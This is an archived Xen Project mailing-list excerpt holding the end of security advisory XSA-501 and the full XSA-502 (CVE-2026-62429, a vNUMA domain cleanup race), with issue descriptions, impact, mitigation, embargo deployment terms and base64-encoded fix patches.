xsa501-4.17.patch      Xen 4.17.x

$ sha256sum xsa501*
e856d64f5b1a16dbb3d7ec19140f24eca508b62de0d25036fa5735cdd5b72be6  xsa501.patch
e006c4fe0a35698318eca59ce828202cac19327f5139d51645116124fc3126e8  xsa501-4.17.patch
10477adfd82fa09123f08497d6a5d44ae61f48d026590ce262cac65f482b2d97  xsa501-4.18.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches described above (or others which are
substantially similar) is permitted during the embargo, even on public-
facing systems with untrusted guest users and administrators.

HOWEVER, deployment of the mitigation is NOT permitted (except where
all the affected systems and VMs are administered and used only by
organisations which are members of the Xen Project Security Issues
Predisclosure List).  Specifically, deployment on public cloud systems
is NOT permitted.

This is because restricting the available grant table version is a guest
visible configuration change, which may lead to re-discovery of the issue.

Deployment of this mitigation is permitted only AFTER the embargo ends.

AND: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrIMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZc98H/0wOjr4aa/IMxNH41B8p6vx1ayiBDvTV8qWgmjf9
AyjNGWG5sAjViMDjtFMUE/CeOeoby+gPRfzop9L7cjlHzy8+y/5s9oRUzC+0VIDq
1V5SBbD0XzhqujoLj5LBF0M1a/EyAJzYeVIV3t1DL6yFAz9YRpUGz6pNAwnF0dui
bfNZcT2K0+BV0YHUQMrEkAUd+PV/mObG8AiVDS8j9BU8sGN4m1Wx2hsYzqYBCXpK
T3lT8dG9qaYcnlH+m9jfWFIE2Srr9a2rLdCMs4dHY1CB/FmZLRrWe304yFuQntET
OGiyZWW86cjmANEKAjrYHSD/CRa81gBqdxiAH/N13zBxZ7I=
=VVHS
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa501.patch"
Content-Disposition: attachment; filename="xsa501.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiBnbnR0YWI6IGNvcGUgd2l0aCB2ZXJzaW9uIGNoYW5nZXMgcmFjaW5nIG90
aGVyIG9wZXJhdGlvbnMKCkRyb3BwaW5nIGFuZCByZS1hY3F1aXJpbmcgdGhl
IGdyYW50IHRhYmxlIGxvY2sgZm9yIGEgcGFydGljdWxhciBvcGVyYXRpb24K
cmVxdWlyZXMgc3BlY2lhbCBjYXJlLCBhcyBpbiB0aGUgbWVhbnRpbWUgdGhl
IGdyYW50IHRhYmxlIHZlcnNpb24gY2FuCmNoYW5nZS4KCkR1cmluZyBhIHYy
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ByZXR1cm47CisKICAgICBpZiAoICFyZWFk
b25seSAmJiAhKGFjdC0+cGluICYgKEdOVFBJTl9oc3R3X21hc2sgfCBHTlRQ
SU5fZGV2d19tYXNrKSkgKQogICAgICAgICBjbGVhcl9mbGFncyB8PSBHVEZf
d3JpdGluZzsKIApAQCAtMTM0Myw2ICsxMzUwLDIyIEBAIG1hcF9ncmFudF9y
ZWYoCiAKICAgICBncmFudF9yZWFkX2xvY2socmd0KTsKIAorICAgIGlmICgg
dW5saWtlbHkoZXZhbHVhdGVfbm9zcGVjKChyZ3QtPmd0X3ZlcnNpb24gPT0g
MSkgIT0KKyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAoc3Rh
dHVzID09ICZzaGFoLT5mbGFncykpKSApCisgICAgeworICAgICAgICAvKgor
ICAgICAgICAgKiBBZnRlciBhIHYxIC0+IHYyIGNoYW5nZSBiZWhpbmQgb3Vy
IGJhY2tzICJyZWYiIG1heSBub3cgYmUgb3V0IG9mCisgICAgICAgICAqIGJv
dW5kcy4gIFJlY2FsY3VsYXRlIGl0LCBidXQgb25seSBmb3IgcmVzZXJ2ZWQg
ZW50cmllcy4gIE90aGVycworICAgICAgICAgKiB3aWxsIGhhdmUgYmVlbiBj
bGVhcmVkIGFueXdheSBieSB0aGUgdmVyc2lvbiBjaGFuZ2UuCisgICAgICAg
ICAqLworICAgICAgICBpZiAoIHJlZiA8IEdOVFRBQl9OUl9SRVNFUlZFRF9F
TlRSSUVTICkKKyAgICAgICAgICAgIHN0YXR1cyA9IGV2YWx1YXRlX25vc3Bl
YyhyZ3QtPmd0X3ZlcnNpb24gPT0gMSkKKyAgICAgICAgICAgICAgICAgICAg
ID8gJnNoYWgtPmZsYWdzCisgICAgICAgICAgICAgICAgICAgICA6ICZzdGF0
dXNfZW50cnkocmd0LCByZWYpOworICAgICAgICBlbHNlCisgICAgICAgICAg
ICBzdGF0dXMgPSBOVUxMOworICAgIH0KKwogICAgIGFjdCA9IGFjdGl2ZV9l
bnR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dG9taWNfaW5jKCZyZ3QtPm5yX3YyX29wcyk7CiAgICAgICAgIH0KICAgICAg
ICAgZWxzZSBpZiAoICFtZm5fZXEoYWN0LT5tZm4sIGdyYW50X21mbikgfHwK
ICAgICAgICAgICAgICAgICAgIGFjdC0+c3JjX2RvbWlkICE9IHRkLT5kb21h
aW5faWQgfHwKQEAgLTMyMzIsNyArMzI3NSwxNyBAQCBnbnR0YWJfc2V0X3Zl
cnNpb24oWEVOX0dVRVNUX0hBTkRMRV9QQVJBTShnbnR0YWJfc2V0X3ZlcnNp
b25fdCkgdW9wKQogICAgICAgICBpZiAoIHJlcyA8IDApCiAgICAgICAgICAg
ICBnb3RvIG91dF91bmxvY2s7CiAgICAgICAgIGJyZWFrOworCiAgICAgY2Fz
ZSAyOgorICAgICAgICBpZiAoIGF0b21pY19yZWFkKCZndC0+bnJfdjJfb3Bz
KSApCisgICAgICAgIHsKKyAgICAgICAgICAgIGdkcHJpbnRrKFhFTkxPR19X
QVJOSU5HLAorICAgICAgICAgICAgICAgICAgICAgInRyaWVkIHRvIGNoYW5n
ZSB0byBncmFudCB0YWJsZSB2MSwgYnV0ICVkIHYyIG9wZXJhdGlvbnMgc3Rp
bGwgaW4gcHJvZ3Jlc3NcbiIsCisgICAgICAgICAgICAgICAgICAgICBhdG9t
aWNfcmVhZCgmZ3QtPm5yX3YyX29wcykpOworICAgICAgICAgICAgcmVzID0g
LUVBR0FJTjsKKyAgICAgICAgICAgIGdvdG8gb3V0X3VubG9jazsKKyAgICAg
ICAgfQorCiAgICAgICAgIGZvciAoIGkgPSAwOyBpIDwgR05UVEFCX05SX1JF
U0VSVkVEX0VOVFJJRVM7IGkrKyApCiAgICAgICAgIHsKICAgICAgICAgICAg
IHN3aXRjaCAoIHNoYXJlZF9lbnRyeV92MihndCwgaSkuaGRyLmZsYWdzICYg
R1RGX3R5cGVfbWFzayApCg==

--=separator
Content-Type: application/octet-stream; name="xsa501-4.17.patch"
Content-Disposition: attachment; filename="xsa501-4.17.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gICAgICAgIGlmICggdW5saWtl
bHkoIWV2YWx1YXRlX25vc3BlYyhva2F5KSkgfHwKLSAgICAgICAgICAgIHVu
bGlrZWx5KGFzc2lnbl9wYWdlcyhwYWdlLCAxLCBlLCBNRU1GX25vX3JlZmNv
dW50KSkgKQorICAgICAgICBpZiAoIHVubGlrZWx5KCFldmFsdWF0ZV9ub3Nw
ZWModmVyKSkgfHwKKyAgICAgICAgICAgICB1bmxpa2VseShhc3NpZ25fcGFn
ZXMocGFnZSwgMSwgZSwgTUVNRl9ub19yZWZjb3VudCkpICkKICAgICAgICAg
ewogICAgICAgICAgICAgYm9vbCBkcm9wX2RvbV9yZWY7CiAKQEAgLTI0MDQs
NyArMjQyOCw3IEBAIGdudHRhYl90cmFuc2ZlcigKICAgICAgICAgICAgIGRy
b3BfZG9tX3JlZiA9ICFkb21haW5fYWRqdXN0X3RvdF9wYWdlcyhlLCAtMSk7
CiAgICAgICAgICAgICBzcGluX3VubG9jaygmZS0+cGFnZV9hbGxvY19sb2Nr
KTsKIAotICAgICAgICAgICAgaWYgKCBva2F5IC8qIGkuZS4gZS0+aXNfZHlp
bmcgZHVlIHRvIHRoZSBzdXJyb3VuZGluZyBpZigpICovICkKKyAgICAgICAg
ICAgIGlmICggdmVyIC8qIGkuZS4gZS0+aXNfZHlpbmcgZHVlIHRvIHRoZSBz
dXJyb3VuZGluZyBpZigpICovICkKICAgICAgICAgICAgICAgICBnZHByaW50
ayhYRU5MT0dfSU5GTywgIlRyYW5zZmVyZWUgZCVkIGlzIG5vdyBkeWluZ1xu
IiwKICAgICAgICAgICAgICAgICAgICAgICAgICBlLT5kb21haW5faWQpOwog
CkBAIC0yNDI0LDcgKzI0NDgsMTMgQEAgZ250dGFiX3RyYW5zZmVyKAogICAg
ICAgICBncmFudF9yZWFkX2xvY2soZS0+Z3JhbnRfdGFibGUpOwogICAgICAg
ICBhY3QgPSBhY3RpdmVfZW50cnlfYWNxdWlyZShlLT5ncmFudF90YWJsZSwg
Z29wLn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vcl9waW4ocmQsIGFjdCwgc3RhdHVzLCByZWFkb25seSk7CiAg
ICAgICAgICAgICBhY3RpdmVfZW50cnlfcmVsZWFzZShhY3QpOwpAQCAtMjY3
NCw2ICsyNzEwLDggQEAgYWNxdWlyZV9ncmFudF9mb3JfY29weSgKICAgICAg
ICAgICAgIHJjdV91bmxvY2tfZG9tYWluKHRkKTsKIAogICAgICAgICAgICAg
Z3JhbnRfcmVhZF9sb2NrKHJndCk7CisgICAgICAgICAgICBhdG9taWNfZGVj
KCZyZ3QtPm5yX3YyX29wcyk7CisKICAgICAgICAgICAgIGFjdCA9IGFjdGl2
ZV9lbnRyeV9hY3F1aXJlKHJndCwgZ3JlZik7CiAgICAgICAgICAgICByZWR1
Y2Vfc3RhdHVzX2Zvcl9waW4ocmQsIGFjdCwgc3RhdHVzLCByZWFkb25seSk7
CiAgICAgICAgICAgICBhY3RpdmVfZW50cnlfcmVsZWFzZShhY3QpOwpAQCAt
MjcwMCw2ICsyNzM4LDggQEAgYWNxdWlyZV9ncmFudF9mb3JfY29weSgKICAg
ICAgICAgICAgICAqLwogICAgICAgICAgICAgYWN0LT5pc19zdWJfcGFnZSA9
IHRydWU7CiAgICAgICAgIH0KKyAgICAgICAgZWxzZQorICAgICAgICAgICAg
YXRvbWljX2RlYygmcmd0LT5ucl92Ml9vcHMpOwogICAgIH0KICAgICBlbHNl
IGlmICggIW9sZF9waW4gfHwKICAgICAgICAgICAgICAgKCFyZWFkb25seSAm
JiAhKG9sZF9waW4gJiAoR05UUElOX2RldndfbWFza3xHTlRQSU5faHN0d19t
YXNrKSkpICkKQEAgLTI3NTQsNiArMjc5NCw5IEBAIGFjcXVpcmVfZ3JhbnRf
Zm9yX2NvcHkoCiAgICAgICAgICAgICBhY3QtPnRyYW5zX2RvbWFpbiA9IHRk
OwogICAgICAgICAgICAgYWN0LT50cmFuc19ncmVmID0gdHJhbnNfZ3JlZjsK
ICAgICAgICAgICAgIGFjdC0+bWZuID0gZ3JhbnRfbWZuOworCisgICAgICAg
ICAgICBpZiAoIGlzX3N1Yl9wYWdlICkKKyAgICAgICAgICAgICAgICBhdG9t
aWNfaW5jKCZyZ3QtPm5yX3YyX29wcyk7CiAgICAgICAgIH0KICAgICAgICAg
ZWxzZSBpZiAoICFtZm5fZXEoYWN0LT5tZm4sIGdyYW50X21mbikgfHwKICAg
ICAgICAgICAgICAgICAgIGFjdC0+dHJhbnNfZG9tYWluICE9IHRkIHx8CkBA
IC0zMTczLDcgKzMyMTYsMTcgQEAgZ250dGFiX3NldF92ZXJzaW9uKFhFTl9H
VUVTVF9IQU5ETEVfUEFSQQogICAgICAgICBpZiAoIHJlcyA8IDApCiAgICAg
ICAgICAgICBnb3RvIG91dF91bmxvY2s7CiAgICAgICAgIGJyZWFrOworCiAg
ICAgY2FzZSAyOgorICAgICAgICBpZiAoIGF0b21pY19yZWFkKCZndC0+bnJf
djJfb3BzKSApCisgICAgICAgIHsKKyAgICAgICAgICAgIGdkcHJpbnRrKFhF
TkxPR19XQVJOSU5HLAorICAgICAgICAgICAgICAgICAgICAgInRyaWVkIHRv
IGNoYW5nZSB0byBncmFudCB0YWJsZSB2MSwgYnV0ICVkIHYyIG9wZXJhdGlv
bnMgc3RpbGwgaW4gcHJvZ3Jlc3NcbiIsCisgICAgICAgICAgICAgICAgICAg
ICBhdG9taWNfcmVhZCgmZ3QtPm5yX3YyX29wcykpOworICAgICAgICAgICAg
cmVzID0gLUVBR0FJTjsKKyAgICAgICAgICAgIGdvdG8gb3V0X3VubG9jazsK
KyAgICAgICAgfQorCiAgICAgICAgIGZvciAoIGkgPSAwOyBpIDwgR05UVEFC
X05SX1JFU0VSVkVEX0VOVFJJRVM7IGkrKyApCiAgICAgICAgIHsKICAgICAg
ICAgICAgIHN3aXRjaCAoIHNoYXJlZF9lbnRyeV92MihndCwgaSkuaGRyLmZs
YWdzICYgR1RGX3R5cGVfbWFzayApCg==

--=separator
Content-Type: application/octet-stream; name="xsa501-4.18.patch"
Content-Disposition: attachment; filename="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ICAgICAgICAgICovCi0gICAgICAgIGlmICggdW5saWtl
bHkoIWV2YWx1YXRlX25vc3BlYyhva2F5KSkgfHwKLSAgICAgICAgICAgIHVu
bGlrZWx5KGFzc2lnbl9wYWdlcyhwYWdlLCAxLCBlLCBNRU1GX25vX3JlZmNv
dW50KSkgKQorICAgICAgICBpZiAoIHVubGlrZWx5KCFldmFsdWF0ZV9ub3Nw
ZWModmVyKSkgfHwKKyAgICAgICAgICAgICB1bmxpa2VseShhc3NpZ25fcGFn
ZXMocGFnZSwgMSwgZSwgTUVNRl9ub19yZWZjb3VudCkpICkKICAgICAgICAg
ewogICAgICAgICAgICAgYm9vbCBkcm9wX2RvbV9yZWY7CiAKQEAgLTI0MzEs
NyArMjQ1NSw3IEBAIGdudHRhYl90cmFuc2ZlcigKICAgICAgICAgICAgIGRy
b3BfZG9tX3JlZiA9ICFkb21haW5fYWRqdXN0X3RvdF9wYWdlcyhlLCAtMSk7
CiAgICAgICAgICAgICBzcGluX3VubG9jaygmZS0+cGFnZV9hbGxvY19sb2Nr
KTsKIAotICAgICAgICAgICAgaWYgKCBva2F5IC8qIGkuZS4gZS0+aXNfZHlp
bmcgZHVlIHRvIHRoZSBzdXJyb3VuZGluZyBpZigpICovICkKKyAgICAgICAg
ICAgIGlmICggdmVyIC8qIGkuZS4gZS0+aXNfZHlpbmcgZHVlIHRvIHRoZSBz
dXJyb3VuZGluZyBpZigpICovICkKICAgICAgICAgICAgICAgICBnZHByaW50
ayhYRU5MT0dfSU5GTywgIlRyYW5zZmVyZWUgZCVkIGlzIG5vdyBkeWluZ1xu
IiwKICAgICAgICAgICAgICAgICAgICAgICAgICBlLT5kb21haW5faWQpOwog
CkBAIC0yNDUxLDcgKzI0NzUsMTMgQEAgZ250dGFiX3RyYW5zZmVyKAogICAg
ICAgICBncmFudF9yZWFkX2xvY2soZS0+Z3JhbnRfdGFibGUpOwogICAgICAg
ICBhY3QgPSBhY3RpdmVfZW50cnlfYWNxdWlyZShlLT5ncmFudF90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A9IHRkLT5kb21haW5faWQ7CiAgICAg
ICAgICAgICBhY3QtPnRyYW5zX2dyZWYgPSB0cmFuc19ncmVmOwogICAgICAg
ICAgICAgYWN0LT5tZm4gPSBncmFudF9tZm47CisKKyAgICAgICAgICAgIGlm
ICggaXNfc3ViX3BhZ2UgKQorICAgICAgICAgICAgICAgIGF0b21pY19pbmMo
JnJndC0+bnJfdjJfb3BzKTsKICAgICAgICAgfQogICAgICAgICBlbHNlIGlm
ICggIW1mbl9lcShhY3QtPm1mbiwgZ3JhbnRfbWZuKSB8fAogICAgICAgICAg
ICAgICAgICAgYWN0LT5zcmNfZG9taWQgIT0gdGQtPmRvbWFpbl9pZCB8fApA
QCAtMzIyNiw3ICszMjY5LDE3IEBAIGdudHRhYl9zZXRfdmVyc2lvbihYRU5f
R1VFU1RfSEFORExFX1BBUkEKICAgICAgICAgaWYgKCByZXMgPCAwKQogICAg
ICAgICAgICAgZ290byBvdXRfdW5sb2NrOwogICAgICAgICBicmVhazsKKwog
ICAgIGNhc2UgMjoKKyAgICAgICAgaWYgKCBhdG9taWNfcmVhZCgmZ3QtPm5y
X3YyX29wcykgKQorICAgICAgICB7CisgICAgICAgICAgICBnZHByaW50ayhY
RU5MT0dfV0FSTklORywKKyAgICAgICAgICAgICAgICAgICAgICJ0cmllZCB0
byBjaGFuZ2UgdG8gZ3JhbnQgdGFibGUgdjEsIGJ1dCAlZCB2MiBvcGVyYXRp
b25zIHN0aWxsIGluIHByb2dyZXNzXG4iLAorICAgICAgICAgICAgICAgICAg
ICAgYXRvbWljX3JlYWQoJmd0LT5ucl92Ml9vcHMpKTsKKyAgICAgICAgICAg
IHJlcyA9IC1FQUdBSU47CisgICAgICAgICAgICBnb3RvIG91dF91bmxvY2s7
CisgICAgICAgIH0KKwogICAgICAgICBmb3IgKCBpID0gMDsgaSA8IEdOVFRB
Ql9OUl9SRVNFUlZFRF9FTlRSSUVTOyBpKysgKQogICAgICAgICB7CiAgICAg
ICAgICAgICBzd2l0Y2ggKCBzaGFyZWRfZW50cnlfdjIoZ3QsIGkpLmhkci5m
bGFncyAmIEdURl90eXBlX21hc2sgKQo=

--=separator--


From xen-devel-bounces@lists.xenproject.org Tue Jul 28 12:05:40 2026
Return-path: <xen-devel-bounces@lists.xenproject.org>
Envelope-to: archives@lists.xen.org
Delivery-date: Tue, 28 Jul 2026 12:05:40 +0000
Received: from list by lists.xenproject.org with outflank-mailman.1372506.1619997 (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYy-0004xx-CZ; Tue, 28 Jul 2026 12:05:36 +0000
X-Outflank-Mailman: Message body and most headers restored to incoming version
Received: by outflank-mailman (output) from mailman id 1372506.1619997; Tue, 28 Jul 2026 12:05:35 +0000
Received: from localhost ([127.0.0.1] helo=lists.xenproject.org)
	by lists.xenproject.org with esmtp (Exim 4.92)
	(envelope-from <xen-devel-bounces@lists.xenproject.org>)
	id 1wogYw-0004qK-9z; Tue, 28 Jul 2026 12:05:34 +0000
Received: by outflank-mailman (input) for mailman id 1372506;
 Tue, 28 Jul 2026 12:05:22 +0000
Received: from mx.expurgate.net ([194.145.224.20])
 by lists.xenproject.org with esmtp (Exim 4.92)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 1wogYh-0002Mk-8e; Tue, 28 Jul 2026 12:05:19 +0000
Received: from mx.expurgate.net (helo=localhost) by mx.expurgate.net with esmtp
 id 1wogYg-004Och-HD; Tue, 28 Jul 2026 14:05:18 +0200
Received: from [10.42.69.1] (helo=localhost)
 by localhost with ESMTP (eXpurgate MTA 0.9.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689af8-bab6-0a2a0a5309dd-0a2a4501e800-14
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:18 +0200
Received: from [104.130.215.37] (helo=mail.xenproject.org)
 by tlsNG-d62444.mxtls.expurgate.net with ESMTPS (eXpurgate 4.57.1)
 (envelope-from <andrewcoop@xenbits.xen.org>)
 id 6a689afd-5984-0a2a45010019-6882d725ebc2-3
 for <multiple-recipients>; Tue, 28 Jul 2026 14:05:18 +0200
Received: from xenbits.xenproject.org ([104.239.192.120])
 by mail.xenproject.org with esmtp (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYb-00DPCC-2J;
 Tue, 28 Jul 2026 12:05:13 +0000
Received: from andrewcoop by xenbits.xenproject.org with local (Exim 4.96)
 (envelope-from <andrewcoop@xenbits.xen.org>) id 1wogYb-003Dnj-1I;
 Tue, 28 Jul 2026 12:05:13 +0000
X-BeenThere: xen-devel@lists.xenproject.org
List-Id: Xen developer discussion <xen-devel.lists.xenproject.org>
List-Unsubscribe: <https://lists.xenproject.org/mailman/options/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=unsubscribe>
List-Post: <mailto:xen-devel@lists.xenproject.org>
List-Help: <mailto:xen-devel-request@lists.xenproject.org?subject=help>
List-Subscribe: <https://lists.xenproject.org/mailman/listinfo/xen-devel>,
 <mailto:xen-devel-request@lists.xenproject.org?subject=subscribe>
Errors-To: xen-devel-bounces@lists.xenproject.org
Precedence: list
Sender: "Xen-devel" <xen-devel-bounces@lists.xenproject.org>
Authentication-Results: eu.smtp.expurgate.cloud; none
Content-Type: multipart/mixed; boundary="=separator"; charset="utf-8"
Content-Transfer-Encoding: binary
MIME-Version: 1.0
X-Mailer: MIME-tools 5.510 (Entity 5.510)
To: xen-announce@lists.xen.org, xen-devel@lists.xen.org,
 xen-users@lists.xen.org, oss-security@lists.openwall.com
From: Xen.org security team <security@xen.org>
CC: Xen.org security team <security-team-members@xen.org>
Subject: Xen Security Advisory 502 v3 (CVE-2026-62429) - vNUMA domain
 cleanup may race other operations
Message-Id: <E1wogYb-003Dnj-1I@xenbits.xenproject.org>
Date: Tue, 28 Jul 2026 12:05:13 +0000
X-purgate-ID: tlsNG-d62444/1785240318-BDA7E757-0BADA150/0/0
X-purgate-type: clean
X-purgate-size: 20992

--=separator
Content-Type: text/plain; charset="utf-8"
Content-Disposition: inline
Content-Transfer-Encoding: 7bit

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA256

            Xen Security Advisory CVE-2026-62429 / XSA-502
                               version 3

            vNUMA domain cleanup may race other operations

UPDATES IN VERSION 3
====================

Public release.

ISSUE DESCRIPTION
=================

Accessing the vNUMA configuration data of a guest is still possible when
domain destruction has already started.  The cleaning up of that
configuration information is not synchronized with its retrieval by a
device model controlling the guest.

IMPACT
======

While Denial of Service (DoS) affecting the entire host and information
leaks and are the prevailing effect, a device model stub domain or a
de-privileged device model running in the control domain may also be
able to elevate its privileges to that of the host.

VULNERABLE SYSTEMS
==================

All Xen versions from 4.5 onwards are vulnerable.  Xen versions 4.4 and
earlier are not vulnerable.

Only entities controlling guests (on x86: HVM guests) can leverage the
vulnerability.  These are device models running in either a stub domain or
de-privileged in Dom0.

Only guests which have vNUMA enabled allow their controlling entities to
leverage the vulnerability.

MITIGATION
==========

On x86, running only PV or PVH guests will avoid the vulnerability.

Not enabling vNUMA for HVM guests will also avoid the vulnerability.

CREDITS
=======

This issue was discovered by Teddy Astie of Vates.

RESOLUTION
==========

Applying the appropriate attached patch resolves this issue.

Note that patches for released versions are generally prepared to
apply to the stable branches, and may not apply cleanly to the most
recent release tarball.  Downstreams are encouraged to update to the
tip of the stable branch before applying these patches.

xsa502.patch           xen-unstable - Xen 4.22.0
xsa502-4.21.patch      Xen 4.21.x - Xen 4.19.x
xsa502-4.18.patch      Xen 4.18.x - Xen 4.17.x

$ sha256sum xsa502*
e6150a6c468906a1bbcd4b9fca1f28cf3dc2c4617d6aab7c48507dbac003df82  xsa502.patch
f780c280539aedb3eeb4f5a43f3d2f4bc5a112ca1a2d7ad6a95eb2fbdc5f5cc8  xsa502-4.18.patch
a0b2b6f543a566e997a9f38bbd718cc81e8de8e7b442ff47e92260f70e66f647  xsa502-4.21.patch
$

DEPLOYMENT DURING EMBARGO
=========================

Deployment of the patches described above (or others which are
substantially similar) is permitted during the embargo, even on public-
facing systems with untrusted guest users and administrators.

HOWEVER, deployment of the mitigation is NOT permitted (except where
all the affected systems and VMs are administered and used only by
organisations which are members of the Xen Project Security Issues
Predisclosure List).  Specifically, deployment on public cloud systems
is NOT permitted.

This is because no longer exposing vNUMA is a guest visible configuration
change, which may lead to re-discovery of the issue.

Deployment of this mitigation is permitted only AFTER the embargo ends.

AND: Distribution of updated software is prohibited (except to other
members of the predisclosure list).

Predisclosure list members who wish to deploy significantly different
patches and/or mitigations, please contact the Xen Project Security
Team.

(Note: this during-embargo deployment notice is retained in
post-embargo publicly released Xen Project advisories, even though it
is then no longer applicable.  This is to enable the community to have
oversight of the Xen Project Security Team's decisionmaking.)

For more information about permissible uses of embargoed information,
consult the Xen Project community's agreed Security Policy:
  http://www.xenproject.org/security-policy.html
-----BEGIN PGP SIGNATURE-----

iQFABAEBCAAqFiEEI+MiLBRfRHX6gGCng/4UyVfoK9kFAmpomrQMHHBncEB4ZW4u
b3JnAAoJEIP+FMlX6CvZ58sH/2CogHDnmyLVcaB68ySxCnCZI5qNt0VonyH4n3s0
Ef4H74nwh3osLXrvkcnXvbrH4hqDKI3MtydScfHc5dpa1rQHXO8utHxZtGUU+CSv
A1nSYD42pu96V5xvTXO+xK5sCZoBREgUNS2TGCE02dkwXdngsCWnAPFn1BQi7wsG
LJWuzurlSRSc28PPuIEaKJM+eiyG88ep5fADrLycVPvltqd6bktEE1Xa82h5iSYd
9K7KTEDT9Kc0HZEg4x0h2OBwVqGdKF+8FHDNCEtpiwtE2Ao6OycTVzGNX7f+fq4/
CeQjI8I94j/r1zVPtuGBHNVkUdgrCIe36156RC7f1LFy0JM=
=7hf1
-----END PGP SIGNATURE-----

--=separator
Content-Type: application/octet-stream; name="xsa502.patch"
Content-Disposition: attachment; filename="xsa502.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB2TlVNQTogY2xvc2UgcmFjZSB3aW5kb3cgaW4gZG9tYWluIGNsZWFudX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FfcmVwbGFjZShkLCB2
bnVtYSk7CiAgICAgICAgIGJyZWFrOwogICAgIH0KIAotLS0gYS94ZW4vY29t
bW9uL21lbW9yeS5jCisrKyBiL3hlbi9jb21tb24vbWVtb3J5LmMKQEAgLTE5
MjIsMTIgKzE5MjIsMjQgQEAgbG9uZyBkb19tZW1vcnlfb3AodW5zaWduZWQg
bG9uZyBjbWQsIFhFTgogICAgICAgICAgICAgZ290byB2bnVtYWluZm9fb3V0
OwogICAgICAgICB9CiAKKyAgICAgICAgcmVhZF9sb2NrKCZkLT52bnVtYV9y
d2xvY2spOworCisgICAgICAgIC8qCisgICAgICAgICAqIENoZWNrIGQtPnZu
dW1hIGFnYWluIGFmdGVyIHJlLWFjcXVpcmluZyB0aGUgbG9jayBhcyB3ZSBj
YW4gcmFjZQorICAgICAgICAgKiB3aXRoIGRvbWFpbiBkZXN0cnVjdGlvbi4K
KyAgICAgICAgICovCisgICAgICAgIGlmICggIWQtPnZudW1hICkKKyAgICAg
ICAgeworICAgICAgICAgICAgQVNTRVJUKGQtPmlzX2R5aW5nKTsKKyAgICAg
ICAgICAgIHJlYWRfdW5sb2NrKCZkLT52bnVtYV9yd2xvY2spOworICAgICAg
ICAgICAgcmMgPSAtRVNSQ0g7CisgICAgICAgICAgICBnb3RvIHZudW1haW5m
b19vdXQ7CisgICAgICAgIH0KKwogICAgICAgICAvKgogICAgICAgICAgKiBD
aGVjayBpZiB2bnVtYSBpbmZvIGhhcyBjaGFuZ2VkIGFuZCBpZiB0aGUgYWxs
b2NhdGVkIGFycmF5cwogICAgICAgICAgKiBhcmUgbm90IGJpZyBlbm91Z2gu
CiAgICAgICAgICAqLwotICAgICAgICByZWFkX2xvY2soJmQtPnZudW1hX3J3
bG9jayk7Ci0KICAgICAgICAgaWYgKCBkb21fdm5vZGVzIDwgZC0+dm51bWEt
Pm5yX3Zub2RlcyB8fAogICAgICAgICAgICAgIGRvbV92cmFuZ2VzIDwgZC0+
dm51bWEtPm5yX3ZtZW1yYW5nZXMgfHwKICAgICAgICAgICAgICBkb21fdmNw
dXMgPCBkLT5tYXhfdmNwdXMgKQotLS0gYS94ZW4vaW5jbHVkZS94ZW4vZG9t
YWluLmgKKysrIGIveGVuL2luY2x1ZGUveGVuL2RvbWFpbi5oCkBAIC0xOTMs
OSArMTkzLDEwIEBAIHN0cnVjdCB2bnVtYV9pbmZvIHsKIH07CiAKICNpZm5k
ZWYgQ09ORklHX1BWX1NISU1fRVhDTFVTSVZFCi12b2lkIHZudW1hX2Rlc3Ry
b3koc3RydWN0IHZudW1hX2luZm8gKnZudW1hKTsKK3ZvaWQgdm51bWFfcmVw
bGFjZShzdHJ1Y3QgZG9tYWluICpkLCBzdHJ1Y3Qgdm51bWFfaW5mbyAqdm51
bWEpOwogI2Vsc2UKLXN0YXRpYyBpbmxpbmUgdm9pZCB2bnVtYV9kZXN0cm95
KHN0cnVjdCB2bnVtYV9pbmZvICp2bnVtYSkgeyBBU1NFUlQoIXZudW1hKTsg
fQorc3RhdGljIGlubGluZSB2b2lkIHZudW1hX3JlcGxhY2Uoc3RydWN0IGRv
bWFpbiAqZCwgc3RydWN0IHZudW1hX2luZm8gKnZudW1hKQoreyBBU1NFUlQo
IXZudW1hKTsgfQogI2VuZGlmCiAKICNpZmRlZiBDT05GSUdfVk1UUkFDRQo=

--=separator
Content-Type: application/octet-stream; name="xsa502-4.18.patch"
Content-Disposition: attachment; filename="xsa502-4.18.patch"
Content-Transfer-Encoding: base64

RnJvbTogSmFuIEJldWxpY2ggPGpiZXVsaWNoQHN1c2UuY29tPgpTdWJqZWN0
OiB2TlVNQTogY2xvc2UgcmFjZSB3aW5kb3cgaW4gZG9tYWluIGNsZWFudXAK
CkNhbGxpbmcgdm51bWFfZGVzdHJveSgpIHdpdGhvdXQgYW55IGxvY2tpbmcg
Y2FuIHJhY2UgdGhlIGhhbmRsaW5nIG9mIGJvdGgKWEVOTUVNX2dldF92bnVt
YWluZm8gYW5kIFhFTl9ET01DVExfc2V0dm51bWFpbmZ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Tc2MSwyNCBAQCBsb25nIGRvX21lbW9yeV9vcCh1bnNpZ25lZCBs
b25nIGNtZCwgWEVOCiAgICAgICAgICAgICBnb3RvIHZudW1haW5mb19vdXQ7
